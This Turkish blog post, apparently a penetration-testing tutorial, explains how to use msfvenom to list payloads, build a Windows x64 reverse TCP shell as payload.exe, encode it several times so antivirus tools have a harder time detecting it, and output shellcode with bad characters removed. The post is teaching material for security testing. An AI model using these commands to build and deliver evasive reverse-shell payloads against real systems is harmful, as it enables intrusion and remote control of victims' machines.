31 Mart 2017 Cuma

Sızma Testi 101 - Zararlı Yazılım Oluşturmak


Sızma testlerinde ister bir exploit (istismar kodu) aracılığıyla, ister bir bruteforce parola tahmin saldırısı sonucunda olsun, bir sistemi ele geçirmek için karşıya bir zararlı yazılım göndermek gerekeceğinden, bu zararlı yazılımların nasıl üretildiğinden ve nasıl kullanıldığından bahsedeceğiz.

Msfvenom bu konuda bize çok yardımcı olacak. Öncelikle terminale msfvenom -h yazarak, msfvenom'un alabileceği argümanları bir görelim:


Şimdi ise msfvenom -l ile kullanabileceğimiz payload'ları görüntüleyelim. Bütün payloadları görüntülemektense, aşağıdaki gibi bir komut ile aradığımıza daha yakın olan payloadları görüntüleyebiliriz:

msfvenom -l | grep Windows | grep reverse | grep tcp | grep shell

Seçtiğimiz payload'un nasıl çalıştığını, ne yaptığını ve nasıl kullanılacağını anlamak için --payload--options seçeneğini kullanalım:

msfvenom -p windows/x64/shell/reverse_tcp --payload-options 

Payload'umuzu oluşturmak için aşağıdaki gibi bir komutu kullanabiliriz:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o payload.exe


Zararlı yazılımı antivirüs çözümleri tarafından daha zor tespit edilebilir hale getirmek için onları encode edebiliriz. Tekrar msfvenom -l komutunu girerek, kullanabileceğimiz encoder'ları görüntüleyebiliriz:


-e seçeneği kullanacağımız encoder'ı belirtmek için

-i seçeneği ise şifreleme işleminin kaç kez yapılacağını(iteration) belirtmek için kullanılır. 

Aşağıda, payload zutto_dekiru encoder'ı ile 3 kez encode ediliyor ve çıktısı .exe olarak bir dosyaya yazılıyor:


Artık tek yapılması gereken dosyayı Windows üzerinde çalıştırmanın bir yolunu bulmak. Tabii ki bu her zaman mümkün olmuyor... Öyleyse bize bir zafiyet, bir de exploit lazım.

Eğer bir exploit (istismar kodu) aracılığıyla karşı tarafa shellcode göndermek istiyorsak, aşağıdaki gibi shellcode çıktısı alabiliriz:


Shellcode'un sorunsuz çalışması için problem oluşturabilecek karakterleri (badchars) tespit edip, msfvenom'a aşağıdaki gibi bir komut ile hangi karakterleri kullanmaması gerektiğini söyleyebiliriz:

msfvenom -p windows/x64/shell/reverse_tcp -f c -b "\x00" -e cmd/powershell_base64 -i 3

on 31 Mart by Berk Cem Göksel |   Edit